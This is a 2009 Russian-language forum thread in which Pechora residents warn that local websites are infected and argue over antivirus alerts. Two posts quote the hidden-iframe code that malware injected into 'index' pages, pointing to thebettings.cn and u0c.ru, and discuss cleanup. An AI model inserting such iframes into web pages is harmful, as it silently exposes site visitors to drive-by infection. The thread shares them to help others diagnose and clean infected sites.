Текущее время: 28 мар 2024, 15:34
Нравится
 

Часовой пояс: UTC + 3 часа




Начать новую тему Ответить на тему  [ Сообщений: 23 ]  На страницу 1, 2  След.
Автор Сообщение
 Заголовок сообщения: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 21 июн 2009, 09:48 
Не в сети
Аватар пользователя

Зарегистрирован: 15 июн 2009, 19:06
Сообщений: 73
Откуда: Печора
Рекорды: 2
На сайте "Волны" с 19.06.09 поселился троян, работы ведутся. Это для тех, у кого нет антивируса и файервола. Будьте осторожны.

_________________
Тестирую


Вернуться наверх
 Профиль  
 
 Заголовок сообщения: Re: Атаки сайтов
СообщениеДобавлено: 22 июн 2009, 23:38 
Не в сети
Аватар пользователя

Зарегистрирован: 06 июн 2009, 20:23
Сообщений: 2524
Откуда: Печора
Рекорды: 1
НА http://pechoraonline.ru ТОЖЕ ВИРУС!

_________________
Ночью, днем и поутру - "Я-ПЕЧОРЕЦ-точка-РУ"

Адрес электронной почты: VASmagin@mail.ru


Вернуться наверх
 Профиль  
 
 Заголовок сообщения: Re: Атаки сайтов
СообщениеДобавлено: 23 июн 2009, 06:49 
Не в сети
Аватар пользователя

Зарегистрирован: 15 июн 2009, 19:06
Сообщений: 73
Откуда: Печора
Рекорды: 2
Смагин Вячеслав писал(а):
НА http://pechoraonline.ru ТОЖЕ ВИРУС!



Пожалуй, наверное хост атаковали

_________________
Тестирую


Вернуться наверх
 Профиль  
 
 Заголовок сообщения: Re: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 24 июн 2009, 09:16 
Не в сети
Администратор
Администратор
Аватар пользователя

Зарегистрирован: 04 июн 2009, 20:15
Сообщений: 630
Откуда: Коренной
Рекорды: 6
Моя Страница: Посмотреть Мою Страницу
Хост у сайтов разный, поэтому заражены не с одного хостинга. Такая волна недавно прокатилась по интернету и хостам. Сам боролся.... Помогает срочная смена пароля доступа по FTP и "Касперыч" очень хорошо чистит админские машины. В моем случае вирус поражал только файлы имеющие в своем имени "index".
Вот код, который вставлялся в файлы "index" вирусом:
Код:
<iframe src="http://thebettings.cn:8080/ts/in.cgi?pepsi54" width=125 height=125 style="visibility: hidden"></iframe>

Если бы админы сайтов глянули на этот код, то можно было бы сразу сказать диагноз.
При посещении зараженных сайтов вирус автоматом "просится" в компьютер пользователя. Будьте внимательны и осторожны.

Данные по хостингу Печорских "заболевших" сайтов:

Информация о домене PECHORAONLINE.RU
Доменное имя pechoraonline.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).
domain: PECHORAONLINE.RU
type: CORPORATE
nserver: ns1.mchost.ru.
nserver: ns2.mchost.ru.

state: REGISTERED, DELEGATED
person: Sergei V Vasichev
phone: +7 908 7162143
fax-no: +7 908 7162143
e-mail: domains@mchost.ru
e-mail: sergey@vasichev.ru
registrar: REGTIME-REG-RIPN
created: 2007.02.16
paid-till: 2010.02.16
source: TC-RIPN

Информация о домене VOLNA-PLUS.RU
Доменное имя volna-plus.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).
domain: VOLNA-PLUS.RU
type: CORPORATE
nserver: ns2.parma.ru.
nserver: srv.pokomi.ru.

state: REGISTERED, DELEGATED
org: Volna Ltd
phone: +7 82142 35690
e-mail: pechora-2000@rambler.ru
registrar: RUCENTER-REG-RIPN
created: 2008.06.20
paid-till: 2010.06.20
source: TC-RIPN

_________________
Если вам нечего делать, то не надо делать это здесь!
http://я-печорец.рф - это тоже мы.


Вернуться наверх
 Профиль  
 
 Заголовок сообщения: Re: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 10 июл 2009, 14:39 
Не в сети
Новичок
Новичок
Аватар пользователя

Зарегистрирован: 09 июл 2009, 08:06
Сообщений: 19
Откуда: Печора
Приблизительно такую же хрень для вывода фреймов и у меня дописывало:
<iframe src="http://u0c.ru:8080/index.php" width=169 height=114 style="visibility: hidden"></iframe>

Оба сайта уже вычищены, пароли заменены. Кстати, эта гадость у меня меняла не только файлы INDEX, но и начинающиеся на MAIN...

Люди, будьте бдительны! (Юлиус Фучик).

_________________
ВСЁ О ПЕЧОРЕ - на сайте объединения «Волна».
Еженедельные НОВОСТИ и ФОТОРЕПОРТАЖИ

http://www.volna-plus.ru


Вернуться наверх
 Профиль Отправить e-mail  
 
 Заголовок сообщения: Re: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 10 июл 2009, 15:07 
Не в сети
Администратор
Администратор
Аватар пользователя

Зарегистрирован: 04 июн 2009, 20:15
Сообщений: 630
Откуда: Коренной
Рекорды: 6
Моя Страница: Посмотреть Мою Страницу
ВНИМАНИЕ!!!
Сайт www.pechora-portal.ru - представляет угрозу вашим компьютерам!
Изображение
Игорь Дементьев - прими меры!!!!!!!!!!

_________________
Если вам нечего делать, то не надо делать это здесь!
http://я-печорец.рф - это тоже мы.


Вернуться наверх
 Профиль  
 
 Заголовок сообщения: Re: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 07 окт 2009, 15:42 
Не в сети
Аватар пользователя

Зарегистрирован: 06 июн 2009, 20:23
Сообщений: 2524
Откуда: Печора
Рекорды: 1
Сайт Администрации МР опять неблагонадежен!

Изображение

_________________
Ночью, днем и поутру - "Я-ПЕЧОРЕЦ-точка-РУ"

Адрес электронной почты: VASmagin@mail.ru


Вернуться наверх
 Профиль  
 
 Заголовок сообщения: Re: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 08 окт 2009, 16:46 
Не в сети
Аватар пользователя

Зарегистрирован: 25 июн 2009, 09:27
Сообщений: 1129
Откуда: Четвёртое поколение в Печоре
Цитата:
Игорь Дементьев - прими меры!!!!!!!!!!

Нет у меня вируса и не было, а что там яндекс пишет, так это их (яндекса) проблемы.

_________________
Я узнал, что у меня
Есть огромная семья,
И травинка,
И листок,
В поле каждый колосок,
Речка, небо голубое,
Это всё моё, родное,
Это родина моя
Всех люблю на свете я

http://blogs.mail.ru/mail/igor_dementev1969/


Вернуться наверх
 Профиль Отправить e-mail  
 
 Заголовок сообщения: Re: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 08 окт 2009, 18:02 
Не в сети
Новичок
Новичок
Аватар пользователя

Зарегистрирован: 09 июл 2009, 08:06
Сообщений: 19
Откуда: Печора
На сайте администрации тоже все чисто!

_________________
ВСЁ О ПЕЧОРЕ - на сайте объединения «Волна».
Еженедельные НОВОСТИ и ФОТОРЕПОРТАЖИ

http://www.volna-plus.ru


Вернуться наверх
 Профиль Отправить e-mail  
 
 Заголовок сообщения: Re: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 08 окт 2009, 19:55 
Не в сети
Аватар пользователя

Зарегистрирован: 15 июн 2009, 19:06
Сообщений: 73
Откуда: Печора
Рекорды: 2
Игорь Дементьев писал(а):
Цитата:
Игорь Дементьев - прими меры!!!!!!!!!!

Нет у меня вируса и не было, а что там яндекс пишет, так это их (яндекса) проблемы.


Всё возможно, но антивирус уж как три месяца ругается и ругается:
Изображение
И что особенно, ругается только на главной странице.

_________________
Тестирую


Вернуться наверх
 Профиль  
 
 Заголовок сообщения: Re: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 09 окт 2009, 11:29 
Не в сети
Аватар пользователя

Зарегистрирован: 25 июн 2009, 09:27
Сообщений: 1129
Откуда: Четвёртое поколение в Печоре
Цитата:
И что особенно, ругается только на главной странице.


Это из за скриптов фрэймов, которые в нынешних версиях анти-вирусов, считаются "вредоносными" по причине "подгрузки" пользователю, что собственно и происходит в случае троянов.

Как пример:
на http://pechora-portal.ru/ - касперский 2009 ругается:
"В запрашиваемом объекте по URL-адресу:
http://pechora-portal.ru/
Обнаружена угроза:
объект заражен HEUR:Trojan.Script.Iframer" (загрузка фрэймовой структуры)

А вот другой пример:
http://www.pechora-portal.ru/ex.html?/saitnews.htm - это открывается нормально, без "ругани"

_________________
Я узнал, что у меня
Есть огромная семья,
И травинка,
И листок,
В поле каждый колосок,
Речка, небо голубое,
Это всё моё, родное,
Это родина моя
Всех люблю на свете я

http://blogs.mail.ru/mail/igor_dementev1969/


Вернуться наверх
 Профиль Отправить e-mail  
 
 Заголовок сообщения: Re: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 09 окт 2009, 11:37 
Не в сети
Аватар пользователя

Зарегистрирован: 25 июн 2009, 09:27
Сообщений: 1129
Откуда: Четвёртое поколение в Печоре
Цитата:
На сайте администрации тоже все чисто!

Да, точно: касперский 2009 не ругается... да и не ругался никогда.... о прогрузке скриптов это уже другая история.
Сайт как и у меня построен на фрэймовой структуре, поэтому другие антивирусы могут и ругаться...
Да и вообще, к вирусам пора привыкать, разве это зависит от администратора сайта, если заражён сервак хостера, например? В принципе, вирусы удаляются на автомате с серваков, если кто-то не поленился потратиться на проги...

_________________
Я узнал, что у меня
Есть огромная семья,
И травинка,
И листок,
В поле каждый колосок,
Речка, небо голубое,
Это всё моё, родное,
Это родина моя
Всех люблю на свете я

http://blogs.mail.ru/mail/igor_dementev1969/


Вернуться наверх
 Профиль Отправить e-mail  
 
 Заголовок сообщения: Re: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 09 окт 2009, 11:53 
Не в сети
Аватар пользователя

Зарегистрирован: 25 июн 2009, 09:27
Сообщений: 1129
Откуда: Четвёртое поколение в Печоре
Цитата:
ВНИМАНИЕ!!!
Сайт www.pechora-portal.ru - представляет угрозу вашим компьютерам!


Только ради интереса набрал в Яндексе (яндексом-то уже никто не пользуется: считается "mauvais ton" в нормальном интернет-сообществе)

Вот что выпало у меня:

Изображение

И никаких вирусов... (одно приятно - первый в списке :))

_________________
Я узнал, что у меня
Есть огромная семья,
И травинка,
И листок,
В поле каждый колосок,
Речка, небо голубое,
Это всё моё, родное,
Это родина моя
Всех люблю на свете я

http://blogs.mail.ru/mail/igor_dementev1969/


Вернуться наверх
 Профиль Отправить e-mail  
 
 Заголовок сообщения: Re: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 09 окт 2009, 23:39 
Не в сети
Администратор
Администратор
Аватар пользователя

Зарегистрирован: 04 июн 2009, 20:15
Сообщений: 630
Откуда: Коренной
Рекорды: 6
Моя Страница: Посмотреть Мою Страницу
Первый в списке - замечательно - (запрос "Портал Печора")! Набери там же "Я-Печорец!" и наш сайт тоже будет первый в списке :-)))

_________________
Если вам нечего делать, то не надо делать это здесь!
http://я-печорец.рф - это тоже мы.


Вернуться наверх
 Профиль  
 
 Заголовок сообщения: Re: Вирусные атаки печорских сайтов - осторожно!
СообщениеДобавлено: 12 окт 2009, 08:10 
Не в сети
Аватар пользователя

Зарегистрирован: 25 июн 2009, 09:27
Сообщений: 1129
Откуда: Четвёртое поколение в Печоре
Цитата:
Первый в списке - замечательно


Я и имел ввиду что ты написал :haha:

_________________
Я узнал, что у меня
Есть огромная семья,
И травинка,
И листок,
В поле каждый колосок,
Речка, небо голубое,
Это всё моё, родное,
Это родина моя
Всех люблю на свете я

http://blogs.mail.ru/mail/igor_dementev1969/


Вернуться наверх
 Профиль Отправить e-mail  
 
Показать сообщения за:  Сортировать по:  
Начать новую тему Ответить на тему  [ Сообщений: 23 ]  На страницу 1, 2  След.

Часовой пояс: UTC + 3 часа


Кто сейчас на форуме

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 0


Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете добавлять вложения

Найти:
Перейти:  
cron
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
Русская поддержка phpBB3
������ ��� PR
Besucherzahler hot and sexy russian girls dream to find foreign men for marriage
������� ���������

Fatal error: Call to undefined function nicknul() in /var/www/u0405769/data/www/ya-pechorec.ru/forum/cache/tpl_subsilver2_overall_footer.html.php on line 66